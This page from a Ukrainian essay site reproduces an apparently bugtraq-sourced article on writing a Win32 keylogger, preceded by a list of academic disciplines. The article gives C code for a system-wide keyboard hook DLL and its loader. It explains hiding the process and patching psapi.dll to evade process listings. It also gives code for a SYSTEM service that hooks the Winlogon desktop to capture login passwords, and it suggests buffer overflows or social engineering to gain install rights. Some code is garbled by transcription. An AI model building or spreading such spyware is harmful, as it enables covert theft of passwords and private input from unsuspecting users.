ПЕРЕЛІК ДИСЦИПЛІН:
  • Адміністративне право
  • Арбітражний процес
  • Архітектура
  • Астрологія
  • Астрономія
  • Банківська справа
  • Безпека життєдіяльності
  • Біографії
  • Біологія
  • Біологія і хімія
  • Ботаніка та сільське гос-во
  • Бухгалтерський облік і аудит
  • Валютні відносини
  • Ветеринарія
  • Військова кафедра
  • Географія
  • Геодезія
  • Геологія
  • Етика
  • Держава і право
  • Цивільне право і процес
  • Діловодство
  • Гроші та кредит
  • Природничі науки
  • Журналістика
  • Екологія
  • Видавнича справа та поліграфія
  • Інвестиції
  • Іноземна мова
  • Інформатика
  • Інформатика, програмування
  • Юрист по наследству
  • Історичні особистості
  • Історія
  • Історія техніки
  • Кибернетика
  • Комунікації і зв'язок
  • Комп'ютерні науки
  • Косметологія
  • Короткий зміст творів
  • Криміналістика
  • Кримінологія
  • Криптология
  • Кулінарія
  • Культура і мистецтво
  • Культурологія
  • Російська література
  • Література і російська мова
  • Логіка
  • Логістика
  • Маркетинг
  • Математика
  • Медицина, здоров'я
  • Медичні науки
  • Міжнародне публічне право
  • Міжнародне приватне право
  • Міжнародні відносини
  • Менеджмент
  • Металургія
  • Москвоведение
  • Мовознавство
  • Музика
  • Муніципальне право
  • Податки, оподаткування
  •  
    Бесплатные рефераты
     

     

     

     

     

     

         
     
    Реалізація keylogging під WIN32
         

     

    Інформатика, програмування

    Реалізація keylogging під WIN32

    Марк Єрмолов

    Одним з найбільш простих методів знімання інформації з персонального комп'ютера є установка на комп'ютер користувача програми, що виробляє облік клавіш. Даний метод можна легко здійснити при фізичному доступі на цікавить комп'ютер. Встановити кейлоггер можна також і віддалено, скориставшись помилками в реалізаціях сервісів об'єкта, але ми опустимо методи установки в даній статті.

    Існує велика кількість вже готових програм-кілоггерів. Однак по-перше більшість з них вже визначаються антивірусними програмами, по-друге, часто, їх функціональність залишає бажати кращого, або вони працюють украй нестабільно. Одним з видів програм, що здійснюють знімання інформації, є KeyLogger-и (дослівно реєстратор клавіш). Вони реєструють всі натиснуті клавіші на клавіатурі, обробляють отриману інформацію і зберігають її у файл. Оскільки закрита інформація (паролі, документи, і т.д.) набирається з клавіатури, KeyLogger є одним із засобів її отримання.

    В операційній системі MSDOS кейлоггер даного виду просто перехоплює переривання від клавіатури (int 16h) і потрібним чином його обробляє. У Win32 все складніше. Буде доречним описати метод реєстрації всіх натиснутих клавіш з допомогою системних пасток або фільтрів (hooks). Цей метод працює як під Win95/98/Millennium так і під WIN NT/2000/XP. В якості мови програмування для цього завдання варто вибрати C/C + +, а середовищем розробки MS Visual C + +. Асемблер для цих цілей підходить краще, але писати на Асемблері в Win32 надто виснажливо і довго.

    У Win32 API є функція SetWindowsHookEx. Вона дозволяє визначити деяку (власну) функцію яка буде спрацьовувати кожного разу при настанні деякої події (отримання програмою повідомлення, натискання клавіші на клавіатурі, створення вікна і т.д.). Повний опис даної функції можна прочитати в MSDN (Microsoft Developer Network Library).

    Перший параметр даної функції вказує подія, на яку ми ставимо пастку. У нашому випадку - Клавіатура - WH_KEYBOARD.

    На другому місці в обробнику виклику ми повинні вказати адресу функції, яка буде викликатися кожного разу при настанні цієї події. Вид цієї функції (для обробки натискань клавіш) наступний:

    LRESULT CALLBACK KeyboardProc (int code, WPARAM wParam, LPARAM lParam);

    де: code - спосіб обробки клавіші додатком.

    wParam -- містить віртуальний код натиснутою клавіші.

    lParam -- є 4-x байтове структуру даних, де в якості полів виступають її біти. Бити 0-15 визначають скільки разів сталася подія (значення відмінно від 1 у випадку, якщо клавіша утримується трохи часу), біти 16-23 визначають scan-код натиснутою (відпущеної) клавіші, а 31-ий біт визначає, була Чи клавіша натиснута або відпущена.

    Параметр code застосовується для відсіювання зайвих подій. Наприклад, при наборі в MS Word тексту "123" наш обробник отримає по парі подій на кожне натискання клавіші ( "112233") у разі отримання цікавить нас повідомлення повідомлення даний параметр дорівнює HC_ACTION.

    Оскільки KeyboardProc використовується системою, ми повинні при описі вказати CALLBACK.

    Отже, для обробки натиснутих клавіш ми повинні написати свою процедуру KeyboardProc приблизно в такий спосіб:

    LRESULT CALLBACK KeyboardProc (int code, WPARAM wParam, LPARAM lParam)

    (

    DWORD IsDown, ScanCode;

    IsDown = ! (lParam>> 31);

    ScanCode = lParam> = 24;

    if (IsDown & & Code == HC_ACTION)

    ProccessDownKey (wParam, (unsigned char) ScanCode);// обробляємо

    return 0;

    )

    У MSDN сказано, що якщо параметр code <0, то треба віддати управління такій пастці викликом CallNextHookEx, але на практиці можна цього не робити, а просто повернути з KeyboardProc 0 і все буде працювати.

    Третій параметр SetWindowsHookEx - дескриптор модуля в якому знаходиться KeyboardProc, а четвертий - ідентифікатор потоку, для якого встановлюється пастка (0 - для всіх потоків в системі). Фільтр може встановлюватися як на один потік одного додатки, так і на всі потоки всіх додатків. В останньому (найбільш цікавому) випадку KeyboardProc повинна знаходитися в DLL (Dynamic Link Library). Так зроблено через особливості архітектури Windows, в якій кожен процес має свій адресний простір. За допомогою Visual C + + реалізація власної dll-бібліотеки є нескладною.

    Важливим моментом є те, що при запуску кожної нової програми при активному фільтрі, Windows створює нову копію всіх даних DLL, яка містить KeyboardProc, і динамічна бібліотека впроваджується в адресний простір запускається процесу. Тому всі глобальні дані слід зберігати в такий спосіб:

    1. У вихідному коді DLL написати наступне:

    # pragma data_seg ( ". SHAREDDATA")

    /*

    ...

    ...

    Глобальні дані

    ....

    Наприклад :*/

    static char logFileName [128] = (0);// Файл звіту

    static int dllsCount;// Число впроваджених DLL

    // i т.д.

    # pragma data_seg ()

    2. В. Def -- файлі бібліотеки написати:

    SECTIONS

    . SHAREDDATA Read Write Shared

    При обробки події від клавіатури виникає проблема: Як отримати символ (наприклад 'A' або 'a', 's' або 'и'), який дійсно вводив користувач. Для цього можна скористатися функціями ToAscii і ToUnicode, які дозволяють по scan-коду та віртуального коду, а також стану клавіатури визначити конкретний символ.

    Ми опустимо докладний опис механізму завантаження DLL, і отримання адреси функції, а наведемо приклад безпосереднього використання нашої бібліотеки.

    Нехай бібліотека, що містить необхідну нам функцію KeyboardProc, називається hooklib.dll.

    # include

    int WINAPI WinMain (HINSTANCE, HINSTANCE, LPSTR, int)

    (

    HHOOK hHook;

    HINSTANCE hLib;

    HOOKPROC pKeybrdProc;

    hLib = LoadLibrary ( "hooklib.dll ");

    if (hLib == NULL)

    return 0;// Помилка

    pKeybrdProc = reinterpret_cast (GetProcAddress (hLib, "KeyboardProc "));

    if (pKeybrdProc == NULL) (

    FreeLibrary (hLib);// Помилка

    return 0;

    )

    hHook = SetWindowsHookEx (WH_KEYBOARD, pKeybrdProc, hLib, 0);

    if (hHook == NULL) (

    FreeLibrary (hLib); //Помилка

    return 0;

    )

    //....

    // GetMessage і т.д. поки не надійде WM_QUERYENDSESSION

    //....

    UnhookWindowsHookEx (hHook);

    FreeLibrary (hLib);

    return 0;

    )

    Примітно, що даний метод працює і в Windows NT/2000/XP, оскільки функція SetWindowsHookEx не вимагає ніяких привілеїв (наприклад SeDebugPrivilege) і буде працювати навіть під звичайним користувачем. Це можна сприймати як слабке місце в системі безпеки NT/2000/XP, оскільки все-таки відбувається впровадження в адресний простір процесу. (Згадаймо атаку GetAdmin, де з допомогою впровадження в процес, в NT без SP3 можна було отримати права адміністратора під користувачем guest !!!).

    Більш докладну інформацію по фільтрам ви можете знайти в MSDN, у статті "Win32 Hooks ".

    Важливим моментом будь-якої програми такого роду є маскування.

    В Win95/98/Millennium програму можна приховати зі списку завдань функцією RegisterServiceProcess, після цього вона не буде видно в списку завдань taskman'a, показують по натисканні "Ctrl + Alt + Del". Проте будь-який менеджер процесів (наприклад, SysInfo) все одно покаже нашу програму, тому при написанні потрібно створювати і інформацію про версію. Так буде менше більше помітне. SysInfo також визначає всі встановлені в системі пастки. Функцію RegisterServiceProcess просто так викликати не вдасться, оскільки вона не оголошена в windows.h (winuser.h і т.д.). Її потрібно викликати безпосередньо з KERNEL32.DLL. Вона має наступний прототип:

    DWORD RegisterServiceProcess (DWORD dwProcessId, DWORD dwType);

    де dwProcessId - Id процесу (0 - викликає), а dwType = 1, якщо робимо процес сервісом, і 0, якщо прибираємо сервісні властивості.

    Вирішити задачу маскування в системах NT/2000/XP куди складніше. Одним зі способів можна вважати підміну psapi.dll з WINNTsystem32 таким чином, щоб у запису для функції EnumProcesses в таблиці експорту цієї dll, точка входу (entry point) вказувала не на справжню реалізацію цієї функції, на деяку власну, з наступним викликом оригіналу. Однак цей механізм не буде працювати для тих додатків, які 'жорстко' пов'язані з psapi.dll за допомогою утиліти bind.exe.

    Точки входу для кожної експортованої функції з будь-якої dll можна подивитися за допомогою утиліти depends що входить в постачання Platform SDK.

    Також вважаю доречним розповісти в цій статті, як зробити кейлоггер для NT/2000/XP так, щоб він міг отримувати інформацію (ім'я користувача і пароль), яка набирається з клавіатури при вході користувача в систему. Дане завдання ускладнюється двома факторами:

    Система відображає запрошення на вхід (натисніть Ctrl + Alt + Del і т.д.) до запуску будь-якого призначеного для користувача процесу. Тобто, якщо ваша програма-шпигун запускається автоматично або з системної папки Startup або з розділу реєстру Run або з деяких системних ini-файлів, то вона не зможе отримати інформацію, про яку йде мова, просто тому, що її запуск відбудеться вже після того, як користувач ввійшов до системи. При спробі завершити сеанс роботи й увійти під іншим користувачем, ваша програма так само буде завершена і запущено після реєстрації користувача в системі.

    Вікно введення пароля і вхідного імені (також як і вікно запрошення) захищено окремим механізмом windows, званим 'робочий стіл' (Desktop - знову ж таки, дивіться MSDN) і процеси, запушенние з-під інших робочих столів, фізично не мають доступу до цих вікон. (навіть функція FindWindow їх не знайде). Таким чином, і фільтр, встановлений функцією SetWindowsHookEx, не буде спрацьовувати на дії в нас цікавлять вікнах.

    Для вирішення цих проблем пропоную наступний механізм:

    По-перше, додаток, що встановлює фільтр клавіш, має бути оформлене у вигляді сервісу Win32. (Як зробити сервіс можна прочитати в MSDN - голова "Services" розділу "Platform SDK: DLLs, Processes and Threads".)

    По-друге, сервіс має бути зареєстрований як запускається автоматично (SERVICE_AUTO_START - дивіться опис функції CreateService); ну і багато ж прав вам знадобитися, щоб зареєструвати сервіс ;-). Ну нічого, завжди знайдуться помилки переповнення буфера і т.д. В кінці - кінців, можна спробувати щастя в соціальної інженерії.

    І нарешті, найголовніше: Назва робочого столу c вікном введення пароля - "Winlogon" і він знаходиться в інтерактивній 'віконної станції' (window station) c ім'ям "Winsta0". Таким чином, щоб процес (точніше його потік) міг потрапити в даний робочий стіл і встановити там пастку потрібно скористатися функціями Win32 API OpenWindowStation, SetProcessWindowStation, OpenDesktop і SetThreadDesktop. (див. Главу "Interactive Services "з MSDN). Якщо ці функції викликати з-під сервісу, що запускається під System - стандартне поведінка після реєстрації за допомогою CreateService з передостаннім параметром рівним NULL, то прав вистачить сповна і для виклику цих функцій і для встановлення пастки так, щоб вона обробляла цікавлять нас вікна процесу Winlogon.exe. В якості параметрів, які позначають імена цих об'єктів (робочий стіл, віконна станція), потрібно задати наведені вище значення. Механізм підключення до робочого столу повинен передувати викликом функції SetWindowsHookEx. Примітка: не забудьте додати окремий потік на призначений для користувача робочий стіл - "default" з "Winsta0", інакше пастка не зможе реєструвати дії користувача після входу в систему. Також хочу відзначити, що для не інтерактивних сервісів системою створюється окрема віконна станція і робочий стіл, в якому вони і крутяться. Тобто, без підключення до деякого реального робочого стола, викликати функцію SetWindowsHookEx з сервісу не має сенсу.

    Наведу невеликий приклад реалізації сервісу та підключення до робочого столу. У даному прикладі я опустив всю обробку помилок.

    # include

    void WINAPI MyServiceStart (DWORD, LPTSTR *);

    void WINAPI MyServiceCtrlHandler (DWORD);

    void ServiceWorkFunction ();

    SERVICE_STATUS_HANDLE MyServiceStatusHandle;

    int WINAPI WinMain (HINSTANCE, HINSTANCE, LPSTR, int)

    (

    SERVICE_TABLE_ENTRY DispatchTable [] = (( "MyService", MyServiceStart),

    (NULL, NULL));

    // Викликаємо точку входу сервісу

    StartServiceCtrlDispatcher (DispatchTable);

    )

    void WINAPI MyServiceStart (DWORD, LPTSTR *)

    (

    SERVICE_STATUS MyServiceStatus = (0);

    MyServiceStatus.dwServiceType = SERVICE_WIN32;

    MyServiceStatus.dwCurrentState = SERVICE_RUNNING;

    // Реєструємо обробник подій сервісу

    MyServiceStatusHandle = RegisterServiceCtrlHandler ( "MyService",

    MyServiceCtrlHandler);

    SetServiceStatus (MyServiceStatusHandle, & MyServiceStatus);

    ServiceWorkFunction ();

    )

    void WINAPI MyServiceCtrlHandler (DWORD)

    (

    SERVICE_STATUS MyServiceStatus = (0);

    MyServiceStatus.dwServiceType = SERVICE_WIN32;

    MyServiceStatus.dwCurrentState = SERVICE_RUNNING;

    SetServiceStatus (MyServiceStatusHandle, & MyServiceStatus);

    )

    void ServiceWorkFunction ()

    (

    HWINSTA hWS;

    HDESK hDT;

    // Підключаємося до віконної станції

    hWS = OpenWindowStation ( "Winsta0", FALSE, GENERIC_ALL);

    SetProcessWindowStation (hWS);

    // Підключаємося до робочого столу

    hDT = OpenDesktop ( "Winlogon", 0, FALSE, GENERIC_ALL);

    SetThreadDesktop (hDT);

    // SetWindowsHookEx і т.д.

    )

    Питання надсилайте на e-mail: http://bugtraq.ru/library/programming/ermolov_mark @ mail.ru

    P.S.

    Всім бажаючим створювати подібні програми хочу порекомендувати кілька чудових книг:

    Список літератури

    "Внутрішнє пристрій Windows 2000 ", Д. Соломон, М. Руссіновіч

    "Програмування серверних додатків для Windows 2000 ", Дж. Ріхтер, Дж. Кларк

    "Windows для професіоналів ", Дж. Ріхтер

    а також утиліти procexp.exe і winobj.exe від sysinternals.

         
     
         
    Реферат Банк
     
    Рефераты
     
    Бесплатные рефераты
     

     

     

     

     

     

     

     
     
     
      Все права защищены. Reff.net.ua - українські реферати ! DMCA.com Protection Status